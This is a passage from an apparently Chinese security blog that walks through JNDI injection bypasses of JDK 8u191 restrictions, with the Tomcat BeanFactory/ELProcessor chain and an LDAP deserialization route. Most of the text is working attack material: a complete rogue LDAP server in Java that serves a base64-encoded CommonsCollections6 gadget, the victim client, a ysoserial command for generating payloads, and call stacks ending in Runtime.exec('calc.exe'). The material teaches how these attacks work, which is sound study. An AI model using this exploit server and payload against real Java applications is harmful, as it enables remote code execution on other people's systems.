这也是为什么我们后面的payload,ResourceRef的最后一个参数设置为null原因

所以一整个就会为false

获取BeanFactory,走进getObjectInstance

我们看参数,ref是ResourceRef,nameCtx是RegistryContext

我们可以看下参数,这边是获取到ClassLoader对象

这里通过加载器的loaderClass来加载javax.el.ELProcessor

pda可以看出获取到beanClass的属性描述符

可以看到这里获取了ELProcess对象

通过get获取到forceString传入

后面是获取到a=eval

propName取出是eval, param是为a

获取相应方法,键为a,值为propName是a,paramTypes是String.class

ra为a=eval,循环判断最终取出的是a

可以看到value是Runtime.getRuntime().exec(“calc.exe”),mmethod

method取出的是对应x的方法,也就是ELProcessor.eval(java.lang.String)

最终执行ELProcessor.eval(Runtime.getRuntime().exec(“calc.exe”))

最终的调用栈

exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:158, BeanELResolver (javax.el)
invoke:79, CompositeELResolver (javax.el)
getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, JNDI_Client (com.test)

绕过JDK 8u191等高版本限制 | LDAP篇

从前面分析,在com.sun.jndi.ldap.LdapCtx#c_lookup方法中判断javaclassname、javaNamingReference不为空的时候进行decodeObject处理

该方法就是把byte用ObjectInputStream对数据进行反序列化还原。那么传输序列化对象的payload,客户端在这里就会进行触发。

假设客户端存在CommonsCollections依赖,利用ysoseria生成payload:

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections6 "calc" > cc6.txt && certutil -encode cc6.txt cc6_base64.txt

这边用vscode将\n全部替换为空

将编码后

package com.test;

import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

public class LDAPRefServer {

private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#Exp"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new LDAPRefServer.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端

package com.test;

import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
public static void main(String[] args) {
try {
String uri = "ldap://127.0.0.1:7777/Exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e){
e.printStackTrace();
}
}
}

跟进调试,前面内容都分析过,我们直接到decodeObject

判断javaserializeddata是否存在

由于我们前面传入了,获取classLoader,调用deserializeObject

跟进deserializeObject,之后是有调用到readObject方法,就走进了反序列化

调用栈

exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:126, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:11, LDAPClient (com.test)
上一篇

Java反序列化-Commons Collections6利用链分析